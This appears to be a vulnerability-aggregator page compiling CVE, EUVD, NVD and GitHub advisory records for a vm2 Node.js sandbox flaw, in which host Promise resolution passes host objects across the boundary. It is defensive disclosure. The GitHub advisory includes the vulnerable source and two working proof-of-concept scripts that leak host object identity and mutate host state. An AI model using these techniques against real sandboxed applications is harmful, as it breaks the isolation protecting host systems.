vm2: sandbox boundary bypass via host Promise resolution preserving host object identity

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, a sandbox boundary violation in vm2 allows host object identity to cross into the sandbox through host Promise resolution. When a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox .then() callback preserves host identity. This allows the sandbox to interact with the host object directly, including performing identity checks using host-side WeakMap and mutating host object state from inside the sandbox. This behavior occurs because the Promise fulfillment wrapper uses ensureThis() instead of the stronger cross-realm conversion path (from() / proxy wrapping). If no prototype mapping is found, ensureThis() returns the original object. As a result, objects resolved by host Promises can cross the sandbox boundary without proper isolation. This vulnerability is fixed in 3.11.0.

Source published

13 May 2026 17:23:35 UTC

Source modified

13 May 2026 18:20:55 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, a sandbox boundary violation in vm2 allows host object identity to cross into the sandbox through host Promise resolution. When a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox .then() callback preserves host identity. This allows the sandbox to interact with the host object directly, including performing identity checks using host-side WeakMap and mutating host object state from inside the sandbox. This behavior occurs because the Promise fulfillment wrapper uses ensureThis() instead of the stronger cross-realm conversion path (from() / proxy wrapping). If no prototype mapping is found, ensureThis() returns the original object. As a result, objects resolved by host Promises can cross the sandbox boundary without proper isolation. This vulnerability is fixed in 3.11.0.

Source published

May 13, 2026, 5:23:35 PM (timezone not stated)

Source modified

May 13, 2026, 6:20:55 PM (timezone not stated)

Observed here

7 Nov 2026 09:37:45 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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EUVD CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, a sandbox boundary violation in vm2 allows host object identity to cross into the sandbox through host Promise resolution. When a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox .then() callback preserves host identity. This allows the sandbox to interact with the host object directly, including performing identity checks using host-side WeakMap and mutating host object state from inside the sandbox. This behavior occurs because the Promise fulfillment wrapper uses ensureThis() instead of the stronger cross-realm conversion path (from() / proxy wrapping). If no prototype mapping is found, ensureThis() returns the original object. As a result, objects resolved by host Promises can cross the sandbox boundary without proper isolation. This vulnerability is fixed in 3.11.0.

Source published

13 May 2026 18:16:16 UTC

Source modified

26 Oct 2026 17:10:03 UTC

Observed here

27 Oct 2026 11:12:09 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

CVSS 3.1 · [email protected] · Primary · 7.2 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

### Summary A sandbox boundary violation in **vm2** allows host object identity to cross into the sandbox through host Promise resolution. When a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox `.then()` callback preserves host identity. This allows the sandbox to interact with the host object directly, including: - Performing identity checks using host-side `WeakMap` - Mutating host object state from inside the sandbox This behavior occurs because the Promise fulfillment wrapper uses `ensureThis()` instead of the stronger cross-realm conversion path (`from()` / proxy wrapping). If no prototype mapping is found, `ensureThis()` returns the original object. As a result, objects resolved by host Promises can cross the sandbox boundary without proper isolation. --- ### Details In `setup-sandbox.js`, vm2 wraps `Promise.prototype.then`: ```js globalPromise.prototype.then = function then(onFulfilled, onRejected) { resetPromiseSpecies(this); if (typeof onFulfilled === 'function') { const origOnFulfilled = onFulfilled; onFulfilled = function onFulfilled(value) { value = ensureThis(value); return apply(origOnFulfilled, this, [value]); }; } return apply(globalPromiseThen, this, [onFulfilled, onRejected]); }; The wrapper calls ensureThis(value) before invoking the sandbox callback. However, ensureThis is implemented in bridge.js as thisEnsureThis(): function thisEnsureThis(other) { const type = typeof other; switch (type) { case 'object': if (other === null) return null; case 'function': let proto = thisReflectGetPrototypeOf(other); if (!proto) { return other; } while (proto) { const mapping = thisReflectApply(thisMapGet, protoMappings, [proto]); if (mapping) { const mapped = thisReflectApply(thisWeakMapGet, mappingOtherToThis, [other]); if (mapped) return mapped; return mapping(defaultFactory, other); } proto = thisReflectGetPrototypeOf(proto); } return other; If no prototype mapping is found, ensureThis() simply returns the original object: return other; This means the sandbox receives the original host object instead of a proxied or sanitized representation. Because of this behavior, values resolved by host Promises can cross the host–sandbox boundary with identity preserved. PoC The following Proof of Concept demonstrates that an object resolved by a host Promise can be used as a valid key in a host-side WeakMap from inside the sandbox. WeakMap keys rely on reference identity, so a successful lookup proves that the sandbox received the host object identity. PoC Code import {VM} from "./index.js"; const hostObj = {tag: "HOST_OBJ"}; const hostPromise = Promise.resolve(hostObj); // WeakMap created on the host const wm = new WeakMap([[hostObj, "HIT"]]); const vm = new VM({ sandbox: {hostPromise, wm}, timeout: 1000, eval: false, wasm: false, }); const code = ` hostPromise.then(v => ({ weakMapGet: wm.get(v), typeofV: typeof v, tag: v.tag })) `; const result = await vm.run(code); console.log("VM RESULT:", result); console.log("HOST SAME KEY STILL:", wm.get(hostObj)); Output VM RESULT: { weakMapGet: 'HIT', typeofV: 'object', tag: 'HOST_OBJ' } HOST SAME KEY STILL: HIT This confirms that the object delivered to the sandbox callback retains host identity. Additional Demonstration: Host Object Mutation The sandbox can also mutate host object state through the resolved Promise value. import {VM} from "./index.js"; const hostObj = {tag: "HOST_OBJ", nested: {x: 1}}; const hostPromise = Promise.resolve(hostObj); const vm = new VM({ sandbox: {hostPromise}, timeout: 1000, eval: false, wasm: false, }); const code = ` hostPromise.then(v => { v.nested.x = 999; v.tag = "MUTATED"; return { seenTag: v.tag, seenX: v.nested.x }; }) `; const result = await vm.run(code); console.log("VM RESULT:", result); console.log("HOST AFTER:", hostObj); **Output:** VM RESULT: { seenTag: 'MUTATED', seenX: 999 } HOST AFTER: { tag: 'MUTATED', nested: { x: 999 } } This demonstrates write-through mutation of a host object from sandbox code. **Impact** This vulnerability allows host object references to cross the vm2 sandbox boundary via Promise resolution. Consequences include: Host object identity disclosure Write-through mutation of host objects WeakMap / WeakSet identity oracle across the boundary Potential capability leaks if sensitive host objects are reachable via Promises Applications that expose host Promises to sandboxed code may unintentionally grant the sandbox direct access to host objects. This weakens the intended isolation guarantees of vm2.

Source published

7 May 2026 04:29:22 UTC

Source modified

14 May 2026 20:51:05 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Publisher rating · MODERATE